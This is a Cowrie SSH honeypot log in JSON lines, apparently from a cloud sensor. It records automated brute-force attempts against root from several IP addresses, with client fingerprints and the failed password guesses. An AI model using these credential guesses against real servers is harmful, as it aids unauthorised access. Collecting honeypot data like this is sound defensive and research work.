{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:80:48:7a:bb:fe:b5:d6:1e:96:8a:73:06:70:2b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwUCkUXAmn68uQ7ix29qaKaaNeM0JOZB1YjakzKbHG0WdTrtWsQKa7oEoSSfFZfa/J7MqtP5z47ZU/sOfwkCK7eV9UGCuv9p04sf/5sQZBYAjKyNYqZSuIbbxfMCez0QZhwRck1uyYWaRKcbKrJpBaA3StVF2pDcXzQcYFn9Iv27KWt1Kf+A4zku4upT0ETcfpmfRZZcRDkVereJKP+NraMbdEK/p4mxZYY3HV3TQ3SOYokXaVXnKnRBIoannHWRfAZl0kq0cxrCESKQodM8XxAuIftV/zJV2cPb/M2VVQOl/g4Ilj6wucyMzVV9jEKBF4nfFU6WbVkOsp09451kvEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:80:48:7a:bb:fe:b5:d6:1e:96:8a:73:06:70:2b:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.071644Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:80:48:7a:bb:fe:b5:d6:1e:96:8a:73:06:70:2b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwUCkUXAmn68uQ7ix29qaKaaNeM0JOZB1YjakzKbHG0WdTrtWsQKa7oEoSSfFZfa/J7MqtP5z47ZU/sOfwkCK7eV9UGCuv9p04sf/5sQZBYAjKyNYqZSuIbbxfMCez0QZhwRck1uyYWaRKcbKrJpBaA3StVF2pDcXzQcYFn9Iv27KWt1Kf+A4zku4upT0ETcfpmfRZZcRDkVereJKP+NraMbdEK/p4mxZYY3HV3TQ3SOYokXaVXnKnRBIoannHWRfAZl0kq0cxrCESKQodM8XxAuIftV/zJV2cPb/M2VVQOl/g4Ilj6wucyMzVV9jEKBF4nfFU6WbVkOsp09451kvEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.076842Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:af:06:2b:28:73:17:d7:7a:11:61:6f:e1:3a:e0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCos/Gl7pFeusxlM+DapgK6qIgdI2akgeNa+bQ1Wgil+5A7d7vRDiDWpV1DpJCNAUBkqqGE7JzTRQ+zVy7Xbokn6b5CSHATuI6I2+xmyRSSQlwgn2Fl82I61zGmjOZsUHntX5XMz7Vr+NkrCmlcBPzGMnewK3zOAUcnbioFQ5Z12KzTrWY8S3mCbkqLrTh6QmGalINgRg227OvsBHm+bKX0D0ZRU8ZvU2phkHcnBNS/frO545LVkAdJK1QD5UoVj4X0JvDk7BWPt7YaV6OIIAfWyF4Q/eJVCxmm1na3tN9ee8woWPXcyH+kUSSKGT6gz/o1XySqw0FSmHz69Ku/lxBl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:af:06:2b:28:73:17:d7:7a:11:61:6f:e1:3a:e0:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.106710Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:af:06:2b:28:73:17:d7:7a:11:61:6f:e1:3a:e0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCos/Gl7pFeusxlM+DapgK6qIgdI2akgeNa+bQ1Wgil+5A7d7vRDiDWpV1DpJCNAUBkqqGE7JzTRQ+zVy7Xbokn6b5CSHATuI6I2+xmyRSSQlwgn2Fl82I61zGmjOZsUHntX5XMz7Vr+NkrCmlcBPzGMnewK3zOAUcnbioFQ5Z12KzTrWY8S3mCbkqLrTh6QmGalINgRg227OvsBHm+bKX0D0ZRU8ZvU2phkHcnBNS/frO545LVkAdJK1QD5UoVj4X0JvDk7BWPt7YaV6OIIAfWyF4Q/eJVCxmm1na3tN9ee8woWPXcyH+kUSSKGT6gz/o1XySqw0FSmHz69Ku/lxBl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.111067Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.144555Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":42150,"dst_ip":"159.203.135.109","dst_port":22,"session":"a77d93d85560","protocol":"ssh","message":"New connection: 69.49.246.176:42150 (159.203.135.109:22) [session: a77d93d85560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:29.397812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:29.403139Z","src_ip":"69.49.246.176","session":"a77d93d85560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:29.431745Z","src_ip":"69.49.246.176","session":"a77d93d85560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iDirect","message":"login attempt [root/iDirect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:29.571644Z","src_ip":"69.49.246.176","session":"a77d93d85560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:30.611974Z","src_ip":"69.49.246.176","session":"a77d93d85560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":43938,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3054ece2edf","protocol":"ssh","message":"New connection: 43.128.106.207:43938 (159.203.135.109:22) [session: d3054ece2edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:47.967685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:47.972067Z","src_ip":"43.128.106.207","session":"d3054ece2edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:48.217396Z","src_ip":"43.128.106.207","session":"d3054ece2edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456","message":"login attempt [root/s123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:49.232387Z","src_ip":"43.128.106.207","session":"d3054ece2edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:50.481412Z","src_ip":"43.128.106.207","session":"d3054ece2edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":35874,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3fcd720c76a","protocol":"ssh","message":"New connection: 154.70.102.114:35874 (10.17.0.5:22) [session: d3fcd720c76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:56.992612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:56.997622Z","src_ip":"154.70.102.114","session":"d3fcd720c76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:57.206519Z","src_ip":"154.70.102.114","session":"d3fcd720c76a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":59906,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6af3e535e3b","protocol":"ssh","message":"New connection: 43.134.112.237:59906 (159.203.135.109:22) [session: b6af3e535e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:57.926070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:57.930528Z","src_ip":"43.134.112.237","session":"b6af3e535e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shimi","message":"login attempt [root/shimi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:58.074087Z","src_ip":"154.70.102.114","session":"d3fcd720c76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:58.175884Z","src_ip":"43.134.112.237","session":"b6af3e535e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"neo123","message":"login attempt [root/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:59.189138Z","src_ip":"43.134.112.237","session":"b6af3e535e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:59.286078Z","src_ip":"154.70.102.114","session":"d3fcd720c76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:00.438422Z","src_ip":"43.134.112.237","session":"b6af3e535e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":43566,"dst_ip":"159.203.135.109","dst_port":22,"session":"8422050fb391","protocol":"ssh","message":"New connection: 43.134.104.184:43566 (159.203.135.109:22) [session: 8422050fb391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:12.915443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:12.921259Z","src_ip":"43.134.104.184","session":"8422050fb391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:13.167511Z","src_ip":"43.134.104.184","session":"8422050fb391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456","message":"login attempt [root/s123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:14.181343Z","src_ip":"43.134.104.184","session":"8422050fb391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:15.431275Z","src_ip":"43.134.104.184","session":"8422050fb391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":40520,"dst_ip":"159.203.135.109","dst_port":22,"session":"36b385e888e8","protocol":"ssh","message":"New connection: 217.154.42.110:40520 (159.203.135.109:22) [session: 36b385e888e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:16.426938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:16.432647Z","src_ip":"217.154.42.110","session":"36b385e888e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:16.512685Z","src_ip":"217.154.42.110","session":"36b385e888e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jxu1234","message":"login attempt [root/jxu1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:16.864075Z","src_ip":"217.154.42.110","session":"36b385e888e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:17.946876Z","src_ip":"217.154.42.110","session":"36b385e888e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":46084,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae2610a2701","protocol":"ssh","message":"New connection: 154.70.102.114:46084 (10.17.0.5:22) [session: eae2610a2701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:31.249304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:31.254886Z","src_ip":"154.70.102.114","session":"eae2610a2701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:31.459619Z","src_ip":"154.70.102.114","session":"eae2610a2701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@3","message":"login attempt [root/password@3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:32.307208Z","src_ip":"154.70.102.114","session":"eae2610a2701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:33.514712Z","src_ip":"154.70.102.114","session":"eae2610a2701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":58760,"dst_ip":"159.203.135.109","dst_port":22,"session":"af1329ce5964","protocol":"ssh","message":"New connection: 69.49.246.176:58760 (159.203.135.109:22) [session: af1329ce5964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.447657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.452293Z","src_ip":"69.49.246.176","session":"af1329ce5964","protocol":"ssh"}
